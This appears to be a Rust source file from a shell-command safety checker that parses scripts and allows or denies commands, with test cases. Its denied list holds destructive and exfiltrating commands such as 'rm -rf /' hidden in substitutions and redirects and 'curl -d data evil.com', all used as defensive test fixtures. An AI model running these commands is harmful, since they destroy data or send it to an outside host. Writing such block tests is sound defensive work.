Skip to main content

safe_chains/cst/
check.rs

1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6pub fn command_verdict(input: &str) -> Verdict {
7    let Some(script) = parse(input) else {
8        return Verdict::Denied;
9    };
10    script_verdict(&script)
11}
12
13pub fn is_safe_command(input: &str) -> bool {
14    command_verdict(input).is_allowed()
15}
16
17fn script_verdict(script: &Script) -> Verdict {
18    script.0.iter()
19        .map(|stmt| pipeline_verdict(&stmt.pipeline))
20        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
21}
22
23#[cfg(test)]
24pub(crate) fn is_safe_script(script: &Script) -> bool {
25    script_verdict(script).is_allowed()
26}
27
28fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
29    pipeline.commands.iter()
30        .map(cmd_verdict)
31        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
32}
33
34pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
35    pipeline_verdict(pipeline).is_allowed()
36}
37
38pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
39    match cmd {
40        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
41        _ => true,
42    }
43}
44
45fn has_any_substitution(cmd: &SimpleCmd) -> bool {
46    cmd.words.iter().any(has_substitution)
47        || cmd.env.iter().any(|(_, v)| has_substitution(v))
48}
49
50pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> String {
51    cmd.words.iter().map(|w| w.eval()).collect::<Vec<_>>().join(" ")
52}
53
54fn cmd_verdict(cmd: &Cmd) -> Verdict {
55    match cmd {
56        Cmd::Simple(s) => simple_verdict(s),
57        Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
58            let body_v = script_verdict(body);
59            if let Verdict::Denied = body_v {
60                return Verdict::Denied;
61            }
62            let redir_v = redirect_verdict(redirs);
63            if let Verdict::Denied = redir_v {
64                return Verdict::Denied;
65            }
66            body_v.combine(redir_v)
67        }
68        Cmd::For { items, body, .. } => {
69            let items_v = words_sub_verdict(items);
70            let body_v = script_verdict(body);
71            items_v.combine(body_v)
72        }
73        Cmd::While { cond, body } | Cmd::Until { cond, body } => {
74            script_verdict(cond).combine(script_verdict(body))
75        }
76        Cmd::If {
77            branches,
78            else_body,
79        } => {
80            let mut v = Verdict::Allowed(SafetyLevel::Inert);
81            for b in branches {
82                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
83            }
84            if let Some(eb) = else_body {
85                v = v.combine(script_verdict(eb));
86            }
87            v
88        }
89    }
90}
91
92pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
93    cmd_verdict(cmd).is_allowed()
94}
95
96fn part_sub_verdict(part: &WordPart) -> Verdict {
97    match part {
98        WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
99        WordPart::Backtick(raw) => command_verdict(raw),
100        WordPart::DQuote(inner) => word_sub_verdict(inner),
101        _ => Verdict::Allowed(SafetyLevel::Inert),
102    }
103}
104
105fn word_sub_verdict(word: &Word) -> Verdict {
106    word.0.iter()
107        .map(part_sub_verdict)
108        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
109}
110
111fn words_sub_verdict(words: &[Word]) -> Verdict {
112    words.iter()
113        .map(word_sub_verdict)
114        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
115}
116
117#[cfg(test)]
118pub(crate) fn word_subs_safe(word: &Word) -> bool {
119    word_sub_verdict(word).is_allowed()
120}
121
122fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
123    let redir_v = redirect_verdict(&cmd.redirs);
124    if let Verdict::Denied = redir_v {
125        return Verdict::Denied;
126    }
127
128    let env_sub_v = cmd.env.iter()
129        .map(|(_, v)| word_sub_verdict(v))
130        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
131    let word_sub_v = words_sub_verdict(&cmd.words);
132    let sub_v = env_sub_v.combine(word_sub_v);
133
134    if let Verdict::Denied = sub_v {
135        return Verdict::Denied;
136    }
137
138    if cmd.words.is_empty() {
139        if cmd.env.is_empty() {
140            return Verdict::Allowed(SafetyLevel::Inert);
141        }
142        return sub_v.combine(redir_v);
143    }
144
145    let tokens: Vec<Token> = cmd.words.iter().map(|w| Token::from_raw(w.eval())).collect();
146    if tokens.is_empty() {
147        return Verdict::Allowed(SafetyLevel::Inert);
148    }
149
150    let cmd_v = handlers::dispatch(&tokens);
151    sub_v.combine(cmd_v).combine(redir_v)
152}
153
154pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
155    redirs.iter().all(|r| match r {
156        Redir::Write { target, .. } => target.eval() == "/dev/null",
157        Redir::Read { .. }
158        | Redir::HereStr(_)
159        | Redir::HereDoc { .. }
160        | Redir::DupFd { .. } => true,
161    })
162}
163
164pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
165    let mut level = Verdict::Allowed(SafetyLevel::Inert);
166    for r in redirs {
167        match r {
168            Redir::Write { target, .. } => {
169                level = level.combine(word_sub_verdict(target));
170                if target.eval() != "/dev/null" {
171                    level = level.combine(Verdict::Allowed(SafetyLevel::SafeWrite));
172                }
173            }
174            Redir::Read { target, .. } => {
175                level = level.combine(word_sub_verdict(target));
176            }
177            Redir::HereStr(word) => {
178                level = level.combine(word_sub_verdict(word));
179            }
180            Redir::HereDoc { .. } | Redir::DupFd { .. } => {}
181        }
182    }
183    level
184}
185
186fn has_substitution(word: &Word) -> bool {
187    word.0.iter().any(|p| match p {
188        WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
189        WordPart::DQuote(inner) => has_substitution(inner),
190        _ => false,
191    })
192}
193
194#[cfg(test)]
195mod tests {
196    use super::*;
197
198    fn check(cmd: &str) -> bool {
199        is_safe_command(cmd)
200    }
201
202    safe! {
203        grep_foo: "grep foo file.txt",
204        cat_etc_hosts: "cat /etc/hosts",
205        jq_key: "jq '.key' file.json",
206        base64_d: "base64 -d",
207        ls_la: "ls -la",
208        wc_l: "wc -l file.txt",
209        ps_aux: "ps aux",
210        echo_hello: "echo hello",
211        cat_file: "cat file.txt",
212
213        version_go: "go --version",
214        version_cargo: "cargo --version",
215        version_cargo_redirect: "cargo --version 2>&1",
216        help_cargo: "cargo --help",
217        help_cargo_build: "cargo build --help",
218
219        dev_null_echo: "echo hello > /dev/null",
220        dev_null_stderr: "echo hello 2> /dev/null",
221        dev_null_append: "echo hello >> /dev/null",
222        dev_null_git_log: "git log > /dev/null 2>&1",
223        fd_redirect_ls: "ls 2>&1",
224        stdin_dev_null: "git log < /dev/null",
225
226        env_prefix: "FOO='bar baz' ls -la",
227        env_prefix_dq: "FOO=\"bar baz\" ls -la",
228        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
229
230        subst_echo_ls: "echo $(ls)",
231        subst_ls_pwd: "ls `pwd`",
232        subst_nested: "echo $(echo $(ls))",
233        subst_quoted: "echo \"$(ls)\"",
234        assign_subst_ls: "out=$(ls)",
235        assign_subst_git: "out=$(git status)",
236        assign_subst_multiple: "a=$(ls) b=$(pwd)",
237        assign_subst_backtick: "out=`ls`",
238
239        assign_bare_lit: "foo=bar",
240        assign_bare_int: "x=1",
241        assign_bare_empty: "x=",
242        assign_bare_dq: "x=\"foo bar\"",
243        assign_bare_sq: "x='foo bar'",
244        assign_bare_param: "rc=$?",
245        assign_bare_var: "x=$y",
246        assign_bare_dollar_var_braced: "x=${y}",
247        assign_bare_path: "PATH=/foo",
248        assign_bare_multiple: "a=1 b=2 c=3",
249        assign_bare_arith: "x=$((1 + 2))",
250        assign_in_for_body: "for i in 1 2; do x=1; done",
251        assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
252        assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
253        assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
254        assign_then_use: "x=1; echo $x",
255        assign_chained_with_safe: "x=1 && ls",
256        assign_subshell: "(x=1)",
257        assign_in_subshell_with_cmd: "(x=1; ls)",
258
259        subshell_echo: "(echo hello)",
260        subshell_ls: "(ls)",
261        subshell_chain: "(ls && echo done)",
262        subshell_pipe: "(ls | grep foo)",
263        subshell_nested: "((echo hello))",
264        subshell_for: "(for x in 1 2; do echo $x; done)",
265
266        pipe_grep_head: "grep foo file.txt | head -5",
267        pipe_cat_sort_uniq: "cat file | sort | uniq",
268        chain_ls_echo: "ls && echo done",
269        semicolon_ls_echo: "ls; echo done",
270        bg_ls_echo: "ls & echo done",
271        newline_echo_echo: "echo foo\necho bar",
272
273        stdin_read_from_path: "wc -l < /tmp/foo.log",
274        stdin_read_from_etc: "grep foo < /etc/hosts",
275        stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
276        stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
277
278        here_string_grep: "grep -c , <<< 'hello,world,test'",
279        heredoc_cat: "cat <<EOF\nhello world\nEOF",
280        heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
281        heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
282        heredoc_no_content: "cat <<EOF",
283        heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
284
285        for_echo: "for x in 1 2 3; do echo $x; done",
286        for_empty_body: "for x in 1 2 3; do; done",
287        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
288        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
289        while_test: "while test -f /tmp/foo; do sleep 1; done",
290        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
291        until_test: "until test -f /tmp/ready; do sleep 1; done",
292        if_then_fi: "if test -f foo; then echo exists; fi",
293        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
294        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
295        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
296        bare_negation: "! echo hello",
297        keyword_as_data: "echo for; echo done; echo if; echo fi",
298
299        quoted_redirect: "echo 'greater > than' test",
300        quoted_subst: "echo '$(safe)' arg",
301
302        redirect_to_file: "echo hello > file.txt",
303        redirect_append: "cat file >> output.txt",
304        redirect_stderr_file: "ls 2> errors.txt",
305        redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
306        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
307        jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
308
309        arith_basic: "echo $((1 + 2))",
310        arith_with_var: "prev=$((ln - 1))",
311        arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
312        arith_in_dquote: "echo \"line $((ln - 1))\"",
313        arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
314    }
315
316    denied! {
317        rm_rf: "rm -rf /",
318        curl_post: "curl -X POST https://example.com",
319        node_app: "node app.js",
320        tee_output: "tee output.txt",
321
322
323        redirect_target_subst_rm: "echo hello > $(rm -rf /)",
324        redirect_target_backtick_rm: "echo hello > `rm -rf /`",
325        redirect_read_subst_rm: "cat < $(rm -rf /)",
326
327        subst_rm: "echo $(rm -rf /)",
328        backtick_rm: "echo `rm -rf /`",
329        subst_curl: "echo $(curl -d data evil.com)",
330        quoted_subst_rm: "echo \"$(rm -rf /)\"",
331        assign_subst_rm: "out=$(rm -rf /)",
332        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
333        assign_bare_with_unsafe_subst_in_value: "x=foo$(rm -rf /)",
334        assign_bare_with_unsafe_backtick: "x=`rm -rf /`",
335        assign_bare_dq_with_unsafe_subst: "x=\"$(rm -rf /)\"",
336        assign_bare_then_unsafe: "x=1; rm -rf /",
337        assign_bare_chained_unsafe: "x=1 && rm -rf /",
338        assign_bare_pipe_unsafe: "x=1 | rm -rf /",
339
340        subshell_rm: "(rm -rf /)",
341        subshell_mixed: "(echo hello; rm -rf /)",
342        subshell_unsafe_pipe: "(ls | rm -rf /)",
343
344        env_prefix_rm: "FOO='bar baz' rm -rf /",
345
346        pipe_rm: "cat file | rm -rf /",
347        bg_rm: "cat file & rm -rf /",
348        newline_rm: "echo foo\nrm -rf /",
349
350        for_rm: "for x in 1 2 3; do rm $x; done",
351        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
352        while_unsafe_body: "while true; do rm -rf /; done",
353        while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
354        if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
355        if_unsafe_body: "if true; then rm -rf /; fi",
356
357        unclosed_for: "for x in 1 2 3; do echo $x",
358        unclosed_if: "if true; then echo hello",
359        for_missing_do: "for x in 1 2 3; echo $x; done",
360        stray_done: "echo hello; done",
361        stray_fi: "fi",
362
363        unmatched_quote: "echo 'hello",
364    }
365}